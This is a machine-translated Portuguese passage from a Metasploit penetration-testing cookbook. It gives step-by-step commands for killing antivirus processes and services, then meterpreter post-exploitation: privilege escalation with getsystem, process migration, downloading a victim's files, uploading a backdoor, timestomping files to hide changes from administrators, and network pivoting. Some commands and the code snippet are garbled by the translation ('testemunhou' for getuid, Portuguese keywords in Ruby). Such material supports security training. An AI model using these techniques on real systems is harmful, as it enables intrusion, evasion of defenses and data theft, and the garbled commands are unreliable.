1152 dsmonitor.exe DARKLORD-PC\DARKLORD C:\Arquivos de Programas\Uni.

Você descobrirá que não há processos ativos para o antivírus ESET. Isso mostra que o script matou com
êxito o programa antivírus. Este exemplo mostra claramente como podemos aumentar a eficiência dos
scripts embutidos adicionando nossas próprias entradas a ele.

Como funciona...
Vamos dar uma olhada rápida no script killav.rb que usamos ativamente nesta receita.
O script contém toda uma lista de processos em uma matriz (%W) que ele procura na máquina de destino
para eliminar.

client.sys.process.get_processes().each do |x|
if (avs.index(x['nome'].downcase)) print_status("Eliminando
#{x['nome']}...") client.sys.process.kill(x['pid'])

fim
fim

As últimas linhas do código são autoexplicativas. O script procura uma correspondência para processos
em execução no sistema de destino com sua matriz. Quando uma correspondência é encontrada, ele usa
o processo. função kill para matar o processo. Esse loop continua até que todos os elementos da matriz
correspondam aos processos disponíveis.

110
Machine Translated by Google

Capítulo 4

Matando serviços antivírus da linha de


comando
Na receita anterior, fornecemos dois motivos pelos quais o processo antivírus ainda está em execução mesmo após o
uso do script killav.rb . Na receita anterior, abordamos o primeiro problema, ou seja, a lista killav.rb não inclui os processos
a serem eliminados. Nesta receita, abordaremos o segundo problema: o programa antivírus está sendo executado como
um serviço na máquina de destino.
Antes de prosseguirmos, vamos primeiro entender a diferença entre um processo e um serviço.

Um processo é qualquer parte do software que está sendo executado em um computador. Alguns processos são iniciados
quando o computador inicializa, outros são iniciados manualmente quando necessário. Alguns processos são serviços que
publicam métodos para acessá-los, para que outros programas possam chamá-los conforme necessário. Um processo é
baseado no usuário, enquanto um serviço é baseado no sistema.

O antivírus também pode executar alguns componentes como um serviço, como filtros de e-mail, filtros de acesso à Web e
assim por diante. O script killav.rb não pode eliminar serviços. Portanto, mesmo que eliminemos os processos usando
killav.rb, o serviço antivírus os iniciará novamente imediatamente. Portanto, mesmo que o killav.rb esteja matando todos os
processos antivírus e eles ainda sejam listados toda vez que usamos o comando ps , pode-se concluir que algum
componente do antivírus está sendo executado como um serviço responsável por reiniciar os processos repetidamente.

Preparando-se
Começaremos com um cenário em que a máquina de destino é uma máquina com Windows 7 executando o antivírus
AVG 10. Estou assumindo que já temos uma sessão meterpreter ativa com a máquina de destino com privilégio
administrativo.

Como fazer isso...


1. Esta receita usará o prompt de comando do Windows. Então vamos começar abrindo
um shell de prompt de comando com o destino.

meterpreter > shell


Processo 3324 criado.

Canal 1 criado.

C:\WINDOWS\system32>

111
Machine Translated by Google

Exploração do lado do cliente e desvio de antivírus

2. Agora, usaremos o comando tasklist para procurar várias tarefas disponíveis. Adicionar o parâmetro /SVC listará
apenas os processos que estão sendo executados como um serviço.
Como sabemos que a máquina de destino está usando o antivírus AVG, podemos adicionar uma pesquisa
curinga para listar apenas os serviços que pertencem a avg. Portanto, nossa linha de comando ficará assim:

C:\WINDOWS\system32>lista de tarefas /SVC | localize /I lista de tarefas

"média" /SVC | encontrar /I "média"

avgchsvx.exe 260 N/A

avgrsx.exe 264 N/A

avgcsrvx.exe 616 N/A

AVGIDSAgent.exe 1664 AVGIDSAgent

avgwdsvc.exe 116 avg9wd

avgemc.exe 1728 avg9emc

Portanto, temos uma lista completa de serviços e processos para antivírus AVG. A próxima etapa
será emitir o comando taskkill para eliminar essas tarefas e desativar a proteção antivírus.

3. Podemos novamente dar uma pesquisa curinga para eliminar todas as tarefas que têm avg como o
nome do processo.

C:\WINDOWS\system32>taskkill /F /IM "média*"

O parâmetro /F é usado para forçar o encerramento do processo. Isso acabará com os vários serviços antivírus em
execução na máquina de destino. Esta receita tem muitas áreas para explorar. Você pode encontrar alguns problemas,
mas eles podem ser superados seguindo o conjunto correto de comandos.

Como funciona...
Matar serviços da linha de comando simplesmente evoca chamadas para o sistema operacional que desativa o
serviço específico. Assim que tivermos uma sessão de shell ativa com nosso alvo, podemos evocar essas chamadas em
nome da linha de comando por meio de nosso shell.

Tem mais...
Vamos concluir esta receita com algumas notas finais sobre o que fazer se o serviço antivírus ainda estiver ativo.

112
Machine Translated by Google

Capítulo 4

Alguns serviços não mataram - o que vem depois?


Isso pode ser devido a vários motivos. Você pode obter um erro para alguns serviços ao
fornecer o comando taskkill . Para superar isso, podemos usar os comandos net stop e sc
config para esses serviços. Eu recomendaria que você lesse sobre esses dois comandos no site
da Microsoft e entendesse seu uso. Eles podem nos ajudar a matar ou desabilitar até mesmo
os serviços que não param com o comando taskkill .

113
Machine Translated by Google
Machine Translated by Google

Usando o Meterpreter
5
para explorar o
Alvo Comprometido
Neste capítulo, abordaremos o seguinte:

f Analisando os comandos do sistema meterpreter


f Escalonamento de privilégios e migração de
processos f Configuração de múltiplos canais de comunicação com o
alvo f Comandos do sistema de arquivos Meterpreter
f Alterando atributos de arquivo usando timestomp
f Usando comandos de rede meterpreter f O
getdesktop e o sniffing de pressionamento de tecla
f Usando um script scraper meterpreter

Introdução

Até agora, enfatizamos mais a fase de pré-exploração, na qual tentamos várias técnicas e explorações
para comprometer nosso alvo. Neste capítulo, enfatizaremos a fase de pós-exploração - o que podemos
fazer depois de explorar a máquina-alvo.
Metasploit fornece uma ferramenta de pós-exploração muito poderosa chamada meterpreter que nos
fornece muitos recursos que podem facilitar nossa tarefa de explorar a máquina de destino. Já vimos o
uso de meterpreter e pós-exploração no capítulo anterior sobre desvio de antivírus. Neste capítulo, vamos
entender em detalhes sobre meterpreter e como usá-lo como uma ferramenta potencial para a fase de
pós-exploração.
Machine Translated by Google

Usando o Meterpreter para explorar o alvo comprometido

Temos usado cargas úteis para obter resultados específicos, mas elas têm uma grande desvantagem.
As cargas úteis funcionam criando novos processos no sistema comprometido.
Isso pode acionar alarmes nos programas antivírus e pode ser detectado facilmente. Além disso, uma carga
é limitada para executar apenas algumas tarefas específicas ou executar comandos específicos que o shell
pode executar. Para superar essas dificuldades, o meterpreter surgiu.

Meterpreter é um interpretador de comandos para Metasploit que atua como uma carga útil e funciona
usando injeção de DLL na memória e um formato de objeto compartilhado nativo. Funciona em contexto
com o processo explorado, portanto não cria nenhum processo novo. Isso o torna mais furtivo e poderoso.

Vamos dar uma olhada em como o meterpreter funciona. O diagrama a seguir mostra uma representação
passo a passo simples do carregamento do meterpreter:

Exploit + Carga útil de 1º estágio

Payload se conecta de volta ao MSF

Carga útil de injeção de DLL de 2º estágio enviada

MSF envia DLL do servidor Meterpreter

Cliente e Servidor se comunicam

Na primeira etapa, a exploração e a carga útil do primeiro estágio são enviadas para a máquina de
destino. Após a exploração, o stager liga-se ao alvo com uma tarefa específica e tenta se conectar de volta
ao msfconsole atacante e um canal de comunicação adequado é configurado. Agora o stager carrega a DLL.
msfconsole e envia a carga de injeção de DLL de segundo estágio. Após a injeção bem-sucedida, o MSF envia
a DLL do meterpreter para estabelecer um canal de comunicação adequado. Por fim, o meterpreter carrega
extensões como stdapi e priv. Todas essas extensões são carregadas por TLS/1.0 usando um protocolo TLV. O
Meterpreter usa comunicação criptografada com o usuário-alvo, outra grande vantagem de usá-lo. Vamos resumir
rapidamente as vantagens do meterpreter sobre payloads específicos:

f Funciona em contexto com o processo explorado, portanto não cria um novo processo

f Pode migrar facilmente entre os processos f

Reside completamente na memória, portanto não grava nada no disco

f Ele usa comunicações criptografadas

116
Machine Translated by Google

capítulo 5

f Utiliza um sistema de comunicação canalizado, para que possamos trabalhar com diversos
canais por vez

f Ele fornece uma plataforma para escrever extensões de forma rápida e fácil

Este capítulo é inteiramente dedicado a explorar a máquina de destino usando os vários comandos e scripts que o
meterpreter nos fornece. Começaremos analisando comandos comuns do meterpreter. Em seguida, prosseguiremos
com a configuração de diferentes canais de comunicação, uso de comandos de rede, detecção de chaves e assim por
diante. Por fim, discutiremos o script scraper meterpreter que pode criar um único diretório contendo várias informações
sobre o usuário de destino. Neste capítulo, vamos nos concentrar principalmente nos comandos e scripts que podem ser
úteis para explorar o sistema comprometido.

Então, vamos seguir em frente com as receitas para mergulhar mais fundo no meterpreter.

Analisando os comandos do sistema meterpreter


Vamos começar a usar os comandos meterpreter para entender sua funcionalidade. Como é uma ferramenta de
pós-exploração, vamos exigir um alvo comprometido para executar os comandos. Estaremos usando uma máquina
com Windows 7 como alvo que exploramos usando a vulnerabilidade do navegador.
Você pode consultar a receita de corrupção de memória de chamada recursiva do CSS do Internet Explorer
no Capítulo 4, Exploração do lado do cliente e desvio do antivírus, para obter mais detalhes.

Preparando-se
Depois de comprometer a máquina de destino do Windows 7, teremos uma sessão meterpreter iniciada, pois
usamos a carga útil windows/meterpreter/bind_tcp . Vamos começar usando um simples ? comando que listará
todos os comandos meterpreter disponíveis, juntamente com uma breve descrição:

meterpreter > ?

Dê uma olhada rápida em toda a lista. Muitos dos comandos são autoexplicativos.

Como fazer isso...


Vamos começar com alguns comandos úteis do sistema.

f background: Este comando é usado para definir a sessão atual como plano de fundo, para que possa
ser usada novamente quando necessário. Esse comando é útil quando há várias sessões ativas
do meterpreter.

117
Machine Translated by Google

Usando o Meterpreter para explorar o alvo comprometido

f getuid: Este comando retorna o nome de usuário que está em execução, ou no qual invadimos, na
máquina de destino.

meterpreter > testemunhou

Nome de usuário do servidor: DARKLORD-PC\DARKLORD

f getpid: Este comando retorna o ID do processo no qual estamos executando o meterpreter.

meterpreter > getpid

pid atual: 4124

f ps: Este comando listará todos os processos em execução na máquina de destino.


Esse comando pode ser útil para identificar vários serviços e softwares em execução
no destino.

meterpreter > ps

PID Nome Arco Sessão Do utilizador

--- ---- ------- ----

0 [Processo do sistema]
1072 svchost.exe

1172 rundll32.exe x86 1 DARKLORD-PC\DARKLORD

f sysinfo: Este é um comando útil para verificar rapidamente as informações do sistema, como o
sistema operacional e a arquitetura.

meterpreter > sysinfo

Computador : DARKLORD-PC

OS : Windows 7 (Compilação 7264).

Arquitetura : x86

Idioma do sistema: en_US

Meterpreter : x86/win32

shell f : Este comando nos leva a um prompt do shell. Já vimos o uso


deste comando meterpreter em algumas de nossas receitas anteriores.

meterpreter > shell

Processo 4208 criado.

Canal 1 criado.

Microsoft Windows [versão 6.1.7264]

Direitos autorais (c) 2009 Microsoft Corporation. Todos os direitos reservados.

118
Machine Translated by Google

capítulo 5

f exit: Este comando é usado para encerrar uma sessão do meterpreter. Este comando
também pode ser usado para encerrar a sessão do shell e retornar ao meterpreter.

Estes foram alguns comandos de sistema úteis que podem ser usados para explorar o alvo comprometido para obter
mais informações sobre ele. Existem muitos outros comandos, que estou deixando para você experimentar e
explorar. Você deve ter notado como é fácil usar os comandos do meterpreter e explorar o alvo que, por sua vez, seria
uma tarefa difícil sem ele.
Em nossa próxima receita, vamos nos concentrar em alguns comandos avançados do meterpreter.

Como funciona...
O Meterpreter funciona como qualquer interpretador de comandos. Ele foi projetado para entender e responder a
várias chamadas de parâmetros por meio de comandos. Ele reside no contexto de um processo explorado/
comprometido e cria um sistema de comunicação cliente/servidor com a máquina do testador de penetração.

comando do medidor
processo do Processo
Canal de comunicação
medidor explorado
Resposta do Meterpreter Server

máquina de teste de caneta

O diagrama anterior demonstra o funcionamento do meterpreter em poucas palavras. Uma vez configurado o canal de
comunicação, podemos enviar chamadas de comando ao servidor meterpreter para obter sua resposta de volta à nossa
máquina. Entenderemos a comunicação entre a máquina de pentest e o alvo comprometido com mais detalhes à
medida que avançamos neste capítulo.

Escalonamento de privilégios e migração de processos


Nesta receita, vamos nos concentrar em dois comandos muito úteis do meterpreter. O primeiro é para escalonamento
de privilégios. Este comando é usado para escalar os direitos/autoridade no sistema de destino. Podemos invadir
como um usuário que tem menos privilégios para executar tarefas no sistema.
Assim, podemos escalar nosso privilégio para o administrador do sistema para executar nossas tarefas sem interrupção.
O segundo comando é para migração de processo. Este comando é usado para migrar de um processo para outro
sem gravar nada no disco.

119
Machine Translated by Google

Usando o Meterpreter para explorar o alvo comprometido

Como fazer isso...


Para escalar nosso privilégio, o meterpreter nos fornece o comando getsystem .
Este comando começa automaticamente a procurar várias técnicas possíveis pelas quais os direitos
do usuário podem ser escalados para um nível superior. Vamos analisar diferentes técnicas usadas
pelo comando getsystem :

meterpreter > getsystem –h

Uso: getsystem [opções]

Tente elevar seu privilégio ao do sistema local.

OPÇÕES:

-t <opt> A técnica a ser usada. (Padrão para '0').

0: Todas as técnicas disponíveis


1: Serviço - representação de canal nomeado (na memória/administrador)
2: Serviço - representação de pipe nomeado (conta-gotas/administrador)
3: Serviço - Duplicação de Token (Na Memória/Admin)
4: Exploit - KiTrap0D (na memória/usuário)

Como funciona...
Existem três técnicas diferentes pelas quais o comando getsystem tenta escalar o privilégio no
destino. O valor padrão 0 tenta todas as técnicas listadas, a menos que seja feita uma tentativa
bem-sucedida. Vamos dar uma olhada rápida nessas técnicas de escalonamento.

Um pipe nomeado é um mecanismo que permite que a comunicação entre processos para aplicativos
ocorra local ou remotamente. O aplicativo que cria o pipe é conhecido como servidor de pipe e o
aplicativo que se conecta ao pipe é conhecido como cliente de pipe. A representação é a capacidade
de um thread executar em um contexto de segurança diferente daquele do processo que possui o
thread. A representação permite que o thread do servidor execute ações em nome do cliente, mas
dentro dos limites do contexto de segurança do cliente. O problema surge quando o cliente tem mais
direitos que o servidor. Esse cenário criaria um ataque de escalonamento de privilégios chamado de
ataque de escalonamento de representação de canal nomeado .

Um artigo detalhado sobre a representação de pipe nomeado


pode ser encontrado em http://hackingalert.blogspot.com/
2011/12/namedpipe-impersonation-attacks.html .

120
Machine Translated by Google

capítulo 5

Cada usuário de um sistema operacional recebe um ID de token exclusivo. Este ID é usado para verificar os níveis de permissão
de vários usuários do sistema. A duplicação de token funciona copiando um ID de token de um usuário com privilégios mais altos
por um usuário com privilégios baixos. O usuário com privilégios mais baixos se comporta de maneira semelhante ao usuário com
privilégios mais altos e detém todos os direitos e autoridades do usuário com privilégios mais altos.

O exploit KiTrapOD foi lançado no início de 2010, afetando quase todos os sistemas operacionais que a Microsoft havia
feito até então. Quando o acesso a aplicativos de 16 bits é ativado em uma plataforma x86 de 32 bits, ele não valida corretamente
determinadas chamadas do BIOS. Isso permite que os usuários locais obtenham privilégios criando uma estrutura de dados
VDM_TIB no Thread Environment Block (TEB), para lidar com exceções envolvendo o manipulador de trap #GP (nt!KiTrap0D),
também conhecido como
"Vulnerabilidade do manipulador de exceções do kernel do Windows."

Agora que entendemos as várias técnicas de escalonamento usadas pelo comando getsystem , nossa próxima etapa será
executar o comando em nosso destino para ver o que acontece.
Primeiro, usaremos o comando getuid para verificar nosso ID de usuário atual e, em seguida, tentaremos escalar nosso privilégio
usando o comando getsystem :

meterpreter > testemunhou


Nome de usuário do servidor: DARKLORD-PC\DARKLORD

meterpreter > getsystem


...obteve o sistema (através da técnica 1).

meterpreter > testemunhou

Nome de usuário do servidor: NT AUTHORITY\SYSTEM

Como você pode ver, anteriormente éramos um usuário menos privilegiado e, depois de usar o comando getsystem , aumentamos
nosso privilégio para o usuário do sistema.

O próximo comando meterpreter importante que discutiremos é o comando migration . Este comando é usado para
migrar de um contexto de processo para outro. Este comando é útil em situações em que o processo atual, no qual
quebramos, pode travar. Por exemplo, se usarmos uma exploração do navegador para penetrar no sistema, o navegador pode
travar após a exploração e o usuário pode fechá-lo. Portanto, migrar para um processo de sistema estável pode nos ajudar a
realizar nossos testes de penetração sem problemas. Podemos migrar para qualquer outro processo ativo usando o ID do
processo. O comando ps pode ser usado para identificar o ID de todos os processos ativos.

Por exemplo, se o ID de explorer.exe for 2084, podemos migrar para explorer.exe executando o seguinte comando:

meterpreter > migrar 2084


[*] Migrando para 2084...
[*] Migração concluída com sucesso.

121
Machine Translated by Google

Usando o Meterpreter para explorar o alvo comprometido

Esses dois comandos do meterpreter são muito úteis e são usados com frequência durante testes de
penetração. Sua simplicidade e alta produtividade os tornam ideais para uso. Em nossa próxima
receita trataremos dos canais de comunicação e como utilizá-los de forma eficaz para se comunicar
com o público-alvo.

Criação de múltiplos canais de comunicação com o


alvo
Nesta receita, veremos como podemos configurar vários canais de comunicação com o alvo.
Discutimos na introdução do capítulo que a comunicação entre cliente e servidor no meterpreter é
criptografada e usa o protocolo Type-Length-Value (TLV) para transferência de dados. A principal
vantagem de usar o TLV é que ele permite a marcação de dados com números de canal específicos,
permitindo assim que vários programas em execução na vítima se comuniquem com o meterpreter
na máquina atacante. Isso facilita a criação de vários canais de comunicação ao mesmo tempo.

Vamos agora analisar como configurar vários canais de comunicação com a máquina de destino
usando o meterpreter.

Preparando-se
O Meterpreter nos fornece um comando específico chamado execute , que pode ser usado para iniciar
vários canais de comunicação. Para começar, vamos executar o comando execute –h para ver as
opções disponíveis:

meterpreter > executar –h

Uso: execute -f arquivo [opções]

Executa um comando na máquina remota.

OPÇÕES:

-H Crie o processo escondido da vista.

-a <opt> Os argumentos a serem passados para o comando.

-c E/S canalizada (necessária para interação).

-d <opt> O executável 'fictício' a ser iniciado ao usar -m.

-f <opt> O comando executável a ser executado.

-h Menu de ajuda.
-eu Interaja com o processo depois de criá-lo.

122
Machine Translated by Google

capítulo 5

-k Execute o processo na área de trabalho atual do meterpreters


-m Executar da memória.

-s <opt> Executa o processo em uma determinada sessão como o usuário da sessão


-t Executar processo com token de encadeamento atualmente representado

Você pode ver os vários parâmetros disponíveis para nós com o comando execute . Vamos usar
alguns desses parâmetros na configuração de vários canais.

Como fazer isso...


Para começar a criar canais, usaremos o operador –f com o comando execute :

meterpreter > execute -f notepad.exe –c

Processo 5708 criado.

Canal 1 criado.

Observe o uso de parâmetros diferentes. O parâmetro –f é usado para definir um comando


executável e o operador –c é usado para configurar uma E/S canalizada. Agora podemos
executar novamente o comando execute para iniciar outro canal sem encerrar o canal atual:

meterpreter > execute -f cmd.exe –c

Processo 4472 criado.


Canal 2 criado.

meterpreter > execute -f calc.exe –c

Processo 6000 criado.


Canal 3 criado.

Agora temos três canais diferentes rodando simultaneamente na máquina da vítima. Para listar
os canais disponíveis, podemos usar o comando channel –l . Se quisermos enviar algum dado ou
escrever algo em um canal, podemos usar o comando write seguido do ID do canal que queremos
escrever. Vamos em frente e escrever uma mensagem em um de nossos canais ativos:

meterpreter > escreva 5

Digite os dados seguidos por um '.' em uma linha vazia:

Metasploit!!
.

[*] Escreveu 13 bytes no canal 5.

123
Machine Translated by Google

Usando o Meterpreter para explorar o alvo comprometido

A execução do comando de gravação junto com o ID do canal nos levou a inserir nossos dados seguidos de
um ponto. Escrevemos o Metasploit com sucesso!! no canal. Para ler os dados de qualquer canal, podemos
usar o comando read seguido do ID do canal.

Além disso, se quisermos interagir com qualquer canal, podemos usar o comando interact seguido do ID do canal:

meterpreter > interagir 2

Interagindo com o canal 2...

Microsoft Windows [versão 6.1.7264]

Direitos autorais (c) 2009 Microsoft Corporation. Todos os direitos reservados.

C:\Usuários\DARKLORD\Desktop>

Como você pode ver, nosso canal 2 era um canal de prompt de comando, portanto, ao usar o comando
interact , fomos diretamente para o modo de prompt de comando, de onde podemos executar comandos do
sistema. Podemos alternar facilmente entre os canais usando o comando interact . Para encerrar um canal,
podemos usar o comando close seguido do ID do canal.

Esta receita demonstra o poder de usar vários canais. Também mostra como é fácil gerenciá-los simultaneamente
e alternar entre diferentes canais. O uso de canais torna-se importante quando estamos executando vários serviços
na máquina de destino.

Na próxima receita, vamos nos concentrar em explorar o sistema de arquivos da máquina de destino
usando o meterpreter.

Como funciona...
O Metasploit marca cada mensagem com um ID de canal separado, o que o ajuda a identificar o contexto do
canal no qual o comando específico deve ser executado. Conforme declarado anteriormente, o processo de
comunicação no meterpreter segue o protocolo TLV, que oferece a flexibilidade de marcar mensagens diferentes
com IDs de canal específicos para fornecer suporte à comunicação multicanal.

Comandos do sistema de arquivos Meterpreter


Nesta receita, avançaremos com os comandos do sistema de arquivos. Esses comandos podem ser úteis para
explorar o sistema de destino para executar várias tarefas, como procurar arquivos, fazer download de arquivos e
alterar o diretório. Você notará como é fácil controlar a máquina de destino usando o meterpreter. Portanto, vamos
começar a trabalhar com alguns dos comandos úteis do sistema de arquivos.

124
Machine Translated by Google

capítulo 5

Como fazer isso...


Começaremos com o simples comando pwd que lista nosso diretório de trabalho atual na máquina de destino. Da
mesma forma, podemos usar o comando cd para alterar nosso diretório de trabalho para nosso local preferido:

meterpreter > pwd


C:\Users\DARKLORD\Desktop

meterpreter > cd c:\

meterpreter > pwd


c:\

Como você pode ver, primeiro listamos nosso diretório de trabalho usando o comando pwd e depois alteramos
nosso diretório de trabalho para c: usando o comando cd . Também podemos usar o comando ls para listar os
arquivos disponíveis no diretório atual.

Agora que podemos trabalhar com diretórios, nossa próxima tarefa será procurar arquivos na unidade.
Será muito tedioso navegar em todos os diretórios e subdiretórios para procurar arquivos. Podemos usar o comando de
pesquisa para pesquisar rapidamente tipos de arquivos específicos. Considere o seguinte exemplo:

meterpreter > search -f *.doc -dc:\

Este comando procurará todos os arquivos na unidade C tendo .doc como extensão de arquivo. O parâmetro –f é
usado para especificar o padrão de arquivo a ser pesquisado e o parâmetro –d informa ao diretório qual arquivo deve
ser pesquisado.

Portanto, depois de pesquisar nosso arquivo específico, a próxima coisa que podemos fazer é baixar o arquivo
localmente na máquina de destino. Vamos primeiro tentar baixar o arquivo para o nosso sistema de ataque:

meterpreter > baixar d:\secret.doc /root

[*] baixando: d:secret.doc -> /root/d:secret.doc


[*] baixado : d:secret.doc -> /root/d:secret.doc

Usando o comando download , podemos baixar com sucesso qualquer arquivo da máquina de destino para nossa
máquina. O arquivo d:\secret.doc é baixado na pasta raiz da nossa máquina de ataque.

Da mesma forma, podemos usar o comando upload para enviar qualquer arquivo para a máquina de destino:

meterpreter > upload /root/backdoor.exe d:\

[*] upload: /root/backdoor.exe -> d:\ [*] upload: /root/


backdoor.exe -> d:\\backdoor.exe

125
Machine Translated by Google

Usando o Meterpreter para explorar o alvo comprometido

Por fim, podemos usar o comando del para excluir um arquivo ou diretório da máquina de destino.

meterpreter > del d:\backdoor.exe

Como funciona...
O Meterpreter nos dá acesso completo à máquina de destino configurando um prompt de
comando interativo. Também podemos descartar uma sessão de shell para funcionar no modo
DOS do Windows padrão, mas não terá tantas funcionalidades. Esta foi uma referência rápida a
alguns dos comandos importantes do sistema de arquivos do meterpreter, que podem nos ajudar a
explorar os arquivos presentes na máquina de destino. Existem mais comandos também; é
recomendável experimentá-los e descobrir as várias possibilidades que podem existir.

Na próxima receita, veremos um comando meterpreter muito interessante chamado timestomp , que
pode ser usado para modificar os atributos do arquivo na máquina de destino.

Alterando atributos de arquivo usando timestomp


Na receita anterior, lemos sobre alguns dos comandos importantes e úteis do sistema de arquivos
meterpreter que podem ser usados para executar várias tarefas na máquina de destino.
Meterpreter contém outro comando interessante chamado timestomp. Este comando é usado
para alterar os atributos Modified-Accessed-Created-Entry (MACE) de um arquivo. O valor do
atributo é a data e a hora em que qualquer uma das atividades MACE ocorreu com o arquivo.
Usando o comando timestomp , podemos alterar esses valores.

Preparando-se
Antes de começar com a receita, há uma pergunta que pode surgir em sua mente. Por que alterar os
valores MACE? Os hackers geralmente usam a técnica de alterar os valores do MACE para fazer com
que o usuário-alvo sinta que o arquivo está presente no sistema há muito tempo e que não foi tocado
ou modificado. Em caso de atividade suspeita, os administradores podem verificar se há arquivos
modificados recentemente para descobrir se algum dos arquivos foi modificado ou acessado. Assim,
usando esta técnica, o arquivo não aparecerá na lista de itens acessados ou modificados recentemente.
Embora existam outras técnicas também, para descobrir se os atributos do arquivo foram modificados,
esta técnica ainda pode ser útil.

Vamos pegar um arquivo da máquina de destino e alterar seus atributos MACE. A captura de tela
a seguir mostra os vários valores MACE de um arquivo antes de usar timestomp:

126
Machine Translated by Google

capítulo 5

Agora vamos avançar para alterar os vários valores MACE. Vamos começar com o comando
comum timestomp –h que é usado para listar as várias opções disponíveis. Podemos usar o
operador –v para listar os valores dos atributos MACE:

meterpreter > timestomp d:\secret.doc –v

modificado : 12/12/2011 16:37:48 +0530

acessado : 12/12/2011 16:37:48 +0530

Criada : 12/12/2011 16:37:47 +0530

Entrada Modificada: 2011-12-12 16:47:56 +0530

Como fazer isso...


Começaremos alterando o tempo de criação do arquivo. Observe os vários parâmetros passados
com o comando timestomp :

meterpreter > timestomp d:\secret.doc -c "3/13/2013 13:13:13"

[*] Configurando atributos MACE específicos em d:secret.doc

127
Machine Translated by Google

Usando o Meterpreter para explorar o alvo comprometido

Como funciona...
O operador –c é usado para alterar a hora de criação do arquivo. Da mesma forma, podemos usar os operadores
–m e –a para alterar os atributos modificados e acessados por último do arquivo:

meterpreter > timestomp d:\secret.doc -m "3/13/2013 13:13:23"

[*] Configurando atributos MACE específicos em d:secret.doc

meterpreter > timestomp d:\secret.doc -a "3/13/2013 13:13:33"

[*] Configurando atributos MACE específicos em d:secret.doc

Uma vez alterados os atributos, podemos novamente usar o operador –v para verificar e verificar se executamos os comandos
com sucesso ou não. Vamos seguir em frente e verificar os atributos do arquivo novamente:

meterpreter > timestomp d:\secret.doc –v

modificado : 13/03/2013 13:13:13 +0530

acessado : 2013-03-13 13:13:23 +0530

Criada : 13/03/2013 13:13:33 +0530

Entrada Modificada: 2013-03-13 13:13:13 +0530

Bingo! Modificamos com sucesso os atributos MACE do arquivo. Agora, esse arquivo pode ser facilmente ocultado da
lista de arquivos modificados ou acessados recentemente.

Como alternativa, também podemos usar o operador –z para alterar todos os quatro valores MACE de uma só vez.
Não precisaremos passar os comandos separadamente para cada um deles. Mas o operador –z atribuirá os mesmos valores
a todos os quatro atributos MACE, o que praticamente não é possível. Tem que haver alguma diferença de tempo entre a
criação e o tempo de acesso. Portanto, o uso do operador –z deve ser evitado.

Esta foi uma pequena receita lidando com o utilitário timestomp . Na próxima receita, veremos alguns dos comandos de rede
meterpreter úteis que serão de grande utilidade para nós quando entendermos o pivotamento.

Usando comandos de rede meterpreter


O Meterpreter também nos fornece alguns comandos de rede úteis. Esses comandos podem ser úteis para entender a
estrutura de rede do usuário alvo. Podemos analisar se o sistema pertence a uma LAN ou se é um sistema autônomo.
Também podemos saber o intervalo de IP, DNS e outras informações. Essas informações de rede podem ser úteis quando
temos que

128
Machine Translated by Google

capítulo 5

executar o pivotamento. Pivoting é um conceito pelo qual podemos comprometer outras máquinas na mesma rede em
que nosso alvo está presente. Entenderemos o pivotamento em nosso próximo capítulo, onde focaremos no uso
avançado do meterpreter.

Preparando-se
Antes de entrarmos na receita, existem três termos de rede que encontraremos aqui.
Então, vamos dar uma pincelada rápida em nossa memória, observando os seguintes termos:

f Sub-rede ou sub-rede é o conceito de dividir uma grande rede em redes menores


partes identificáveis. A criação de sub-redes é feita para aumentar a utilidade e a segurança do endereço.

f Uma máscara de rede é uma máscara de 32 bits usada para dividir um endereço IP em sub-redes e
especifique os hosts disponíveis da rede.

f Gateway especifica o encaminhamento ou o endereço IP do próximo salto sobre o qual o conjunto


de endereços definidos pelo destino de rede e máscara de sub-rede são alcançáveis.

Usaremos esses três termos quando lidarmos com o comando route .

Como fazer isso...


Existem três comandos de rede fornecidos pelo meterpreter. Estes são ipconfig, route e portfwd. Vamos dar uma
olhada rápida em cada um deles.

O comando Ipconfig é usado para exibir todas as configurações de rede TCP/IP da máquina de destino. Ele lista informações
como endereço IP de destino, hardware MAC e máscara de rede:

meterpreter > ipconfig

confiança

Hardware MAC: 00:00:00:00:00:00

Endereço IP: 115.242.228.85

máscara de rede : 255.255.255.255

Interface de loopback de software 1

Hardware MAC: 00:00:00:00:00:00

Endereço IP: 127.0.0.1

máscara de rede : 255.0.0.0

Como você pode ver, a saída de ipconfig lista as várias configurações de TCP/IP ativas.

129
Machine Translated by Google

Usando o Meterpreter para explorar o alvo comprometido

O próximo comando de rede é o comando route . É semelhante ao comando route do MS DOS. Este comando é
usado para exibir ou modificar a tabela de roteamento IP local na máquina de destino. A execução do comando route
lista a tabela atual:

meterpreter > rota

Rotas de rede
================

sub-rede máscara de rede Porta de entrada

------ ------- -------

0.0.0.0 0.0.0.0 115.242.228.85


115.242.228.85 255.255.255.255 115.242.228.85
127.0.0.0 255.0.0.0 127.0.0.1
127.0.0.1 255.255.255.255 127.0.0.1
127.255.255.255 255.255.255.255 127.0.0.1
192.168.56.0 255.255.255.0 192.168.56.1
192.168.56.1 255.255.255.255 192.168.56.1
192.168.56.255 255.255.255.255 192.168.56.1
224.0.0.0 240.0.0.0 127.0.0.1
224.0.0.0 240.0.0.0 192.168.56.1
224.0.0.0 240.0.0.0 115.242.228.85
255.255.255.255 255.255.255.255 127.0.0.1
255.255.255.255 255.255.255.255 192.168.56.1
255.255.255.255 255.255.255.255 115.242.228.85

Vamos executar o comando route –h para descobrir como podemos modificar a tabela.

meterpreter > rota –h

Uso: rota [-h] comando [args]


Comandos suportados:

adicionar [sub-rede] [máscara de rede] [gateway]


excluir [sub-rede] [máscara de rede] [gateway]

Se você observar a saída do comando ipconfig , poderá descobrir que o endereço IP 115.242.228.85 é usado
pelo destino para se conectar à Internet. Assim, podemos adicionar um valor de rota para passar a conexão por
meio de 115.242.228.85 como gateway. Isso pode nos fornecer um desvio de firewall na máquina de destino:

130
Machine Translated by Google

capítulo 5

meterpreter > route add 192.168.56.2 255.255.255.255 192.168.56.1

Criando rota 192.168.56.2/255.255.255.255 -> 192.168.56.1

Da mesma forma, podemos usar o comando delete para remover uma rota da tabela.

Vamos para o último comando de rede — portfwd. Este comando é usado para encaminhar conexões TCP e/ou UDP recebidas
para hosts remotos. Considere o exemplo a seguir para entender o encaminhamento de porta.

Considere o host "A", o host "B" (no meio) e o host "C". O host A deve se conectar ao host C para fazer algo, mas se por algum
motivo não for possível, o host B pode se conectar diretamente ao C. Se usarmos o host B no meio, para obter o fluxo de
conexão de A e passá-lo para B enquanto cuida da conexão, dizemos que o host B está fazendo o encaminhamento de porta.

É assim que as coisas aparecerão na rede: o host B está executando um software que abre um ouvinte TCP em uma de suas portas,
digamos, a porta 20. O host C também está executando um ouvinte que é usado para se conectar ao host B quando um pacote
